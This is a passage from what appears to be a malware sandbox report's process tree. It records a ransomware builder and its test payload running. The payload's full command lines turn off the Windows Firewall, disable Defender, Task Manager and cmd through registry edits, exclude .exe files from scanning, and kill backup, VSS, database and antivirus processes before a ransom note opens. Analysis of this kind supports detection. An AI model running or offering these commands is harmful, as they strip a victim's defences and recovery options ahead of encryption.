  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2424 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3132 /prefetch:8
  2⤵
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1
  2⤵
  PID:2524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3804 /prefetch:1
  2⤵
  PID:3092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5240 /prefetch:8
  2⤵
  PID:2968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5420 /prefetch:8
  2⤵
  PID:1340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1
  2⤵
  PID:4480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:1
  2⤵
  PID:1392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6084 /prefetch:1
  2⤵
  PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
  2⤵
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6592 /prefetch:1
  2⤵
  PID:1924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6708 /prefetch:1
  2⤵
  PID:2512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7020 /prefetch:1
  2⤵
  PID:1240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6752 /prefetch:1
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7300 /prefetch:1
  2⤵
  PID:4080
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8596 /prefetch:8
  2⤵
  PID:1708
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  PID:5088
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1e0,0x22c,0x7ff637a15460,0x7ff637a15470,0x7ff637a15480
    3⤵
    PID:1664
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8596 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6948 /prefetch:8
  2⤵
  PID:5324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6788 /prefetch:1
  2⤵
  PID:5340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6148 /prefetch:8
  2⤵
  PID:5452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8360 /prefetch:8
  2⤵
  PID:5572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2120,14009120242742484887,12616115567331343329,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8072 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5620
- C:\Users\Admin\Downloads\slam ransomware builder installer.exe
  "C:\Users\Admin\Downloads\slam ransomware builder installer.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Users\Admin\Desktop & del /Q /F slam_ransomware_builder.url & taskkill /F /IM slam.exe & exit
    3⤵
    PID:5940
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM slam.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6024
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cd C:\Users\Admin\Desktop & del /Q /F slam_ransomware_builder.url & exit
    3⤵
    PID:5976
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start C:\slam_ransomware_builder\start.exe & exit
    3⤵
    PID:3740
  - - C:\slam_ransomware_builder\start.exe
      C:\slam_ransomware_builder\start.exe
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:1676
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\740D.tmp\start.bat" C:\slam_ransomware_builder\start.exe"
        5⤵
        
        PID:940
      - C:\slam_ransomware_builder\slam.exe
        
        slam.exe
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Modifies registry class
        Suspicious use of SetWindowsHookEx
        
        PID:3612
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c MSBuild.exe ConsoleApp2\ConsoleApp2.sln
        7⤵
        
        PID:536
        
        C:\slam_ransomware_builder\MSBuild.exe
        
        MSBuild.exe ConsoleApp2\ConsoleApp2.sln
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3720
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\tmpfbd8524bf1e64be5b5ec1d6c04e0b1c7.rsp"
        9⤵
        
        PID:5724
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF222.tmp" "c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\obj\Debug\CSCCB928722C5C14E3295E298DE94D8778.TMP"
        10⤵
        
        PID:1264
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Decrypter.exe src.cs /win32manifest:App.config
        7⤵
        
        PID:1796
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Decrypter.exe src.cs /win32manifest:App.config
        8⤵
        
        PID:2588
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA9B.tmp" "c:\slam_ransomware_builder\CSC912991BC9E8B4CBCA9B634EC2527B892.TMP"
        9⤵
        
        PID:4828
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c MSBuild.exe ConsoleApp2\ConsoleApp2.sln
        7⤵
        
        PID:5388
        
        C:\slam_ransomware_builder\MSBuild.exe
        
        MSBuild.exe ConsoleApp2\ConsoleApp2.sln
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2068
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\tmpc75e3bf481f7477e83f017795486f64d.rsp"
        9⤵
        
        PID:4896
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES16FF.tmp" "c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\obj\Debug\CSCAD6034EC5BAA4C98906F32D6D8E33D6.TMP"
        10⤵
        
        PID:1924
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Decrypter.exe src.cs /win32manifest:App.config
        7⤵
        
        PID:488
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Decrypter.exe src.cs /win32manifest:App.config
        8⤵
        
        PID:4596
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1980.tmp" "c:\slam_ransomware_builder\CSC60B9FCBBBAC94FB1881BFDF6D61CD73D.TMP"
        9⤵
        
        PID:3028
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c MSBuild.exe ConsoleApp2\ConsoleApp2.sln
        7⤵
        
        PID:5656
        
        C:\slam_ransomware_builder\MSBuild.exe
        
        MSBuild.exe ConsoleApp2\ConsoleApp2.sln
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5664
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\tmpe1e08a2b73774d268cb522c0c54a1d93.rsp"
        9⤵
        
        PID:5032
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES18B6.tmp" "c:\slam_ransomware_builder\ConsoleApp2\ConsoleApp2\obj\Debug\CSCCE19B479D22A4779886AAAD76B7415EC.TMP"
        10⤵
        
        PID:3696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Decrypter.exe src.cs /win32manifest:App.config
        7⤵
        
        PID:4732
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Decrypter.exe src.cs /win32manifest:App.config
        8⤵
        
        PID:5612
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1CDC.tmp" "c:\slam_ransomware_builder\CSC800CDDC2720F4F01863F1BFC7A2F84CE.TMP"
        9⤵
        
        PID:4464
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /F /IM server_connect.exe
        7⤵
        
        PID:3160
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM server_connect.exe
        8⤵
        
        PID:2156

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1916

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2388

C:\slam_ransomware_builder\test.exe
"C:\slam_ransomware_builder\test.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c netsh advfirewall set allprofiles state off & netsh advfirewall set currentprofile state off & netsh advfirewall set domainprofile state off & netsh advfirewall set privateprofile state off & netsh advfirewall set publicprofile state off & REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f & REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f & powershell -Command Add-MpPreference -ExclusionExtension .exe
  2⤵
  PID:5908
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:6032
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set currentprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:5160
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set domainprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:2040
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set privateprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:5312
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set publicprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:4584
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1176
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:5056
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    - Modifies registry key
    PID:740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionExtension .exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM BackupExecAgentBrowser* & taskkill /F /IM BackupExecDiveciMediaService* & taskkill /F /IM BackupExecJobEngine* & taskkill /F /IM BackupExecManagementService* & taskkill /F /IM vss* & taskkill /F /IM sql* & taskkill /F /IM svc$* & taskkill /F /IM memtas* & taskkill /F /IM sophos* & taskkill /F /IM veeam* & taskkill /F /IM backup* & taskkill /F /IM GxVss* & taskkill /F /IM GxBlr* & taskkill /F /IM GxFWD* & taskkill /F /IM GxCVD* & taskkill /F /IM GxCIMgr* & taskkill /F /IM DefWatch* & taskkill /F /IM ccEvtMgr* & taskkill /F /IM SavRoam* & taskkill /F /IM RTVscan* & taskkill /F /IM QBFCService* & taskkill /F /IM Intuit.QuickBooks.FCS* & taskkill /F /IM YooBackup* & taskkill /F /IM YooIT* & taskkill /F /IM zhudongfangyu* & taskkill /F /IM sophos* & taskkill /F /IM stc_raw_agent* & taskkill /F /IM VSNAPVSS* & taskkill /F /IM QBCFMonitorService* & taskkill /F /IM VeeamTransportSvc* & taskkill /F /IM VeeamDeploymentService* & taskkill /F /IM VeeamNFSSvc* & taskkill /F /IM veeam* & taskkill /F /IM PDVFSService* & taskkill /F /IM BackupExecVSSProvider* & taskkill /F /IM BackupExecAgentAccelerator* & taskkill /F /IM BackupExecRPCService* & taskkill /F /IM AcrSch2Svc* & taskkill /F /IM AcronisAgent* & taskkill /F /IM CASAD2DWebSvc* & taskkill /F /IM CAARCUpdateSvc* & taskkill /F /IM TeamViewer*
  2⤵
  PID:5992
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecAgentBrowser*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6056
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecDiveciMediaService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecJobEngine*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecManagementService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5148
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM vss*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:520
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sql*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:956
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM svc$*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM memtas*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sophos*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5780
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM veeam*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM backup*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxVss*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5568
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxBlr*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2256
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxFWD*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5132
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxCVD*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5524
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM GxCIMgr*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4816
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM DefWatch*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3772
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM ccEvtMgr*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2456
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM SavRoam*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM RTVscan*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5384
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM QBFCService*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3844
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM Intuit.QuickBooks.FCS*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM YooBackup*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1936
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM YooIT*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5448
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM zhudongfangyu*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2032
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM sophos*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5604
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM stc_raw_agent*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5576
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VSNAPVSS*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM QBCFMonitorService*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5072
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamTransportSvc*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5920
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamDeploymentService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3448
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM VeeamNFSSvc*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5344
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM veeam*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM PDVFSService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:920
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecVSSProvider*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecAgentAccelerator*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4884
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM BackupExecRPCService*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5428
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM AcrSch2Svc*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM AcronisAgent*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CASAD2DWebSvc*
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM CAARCUpdateSvc*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:716
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /IM TeamViewer*
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- C:\Windows\SysWOW64\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\_readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4472
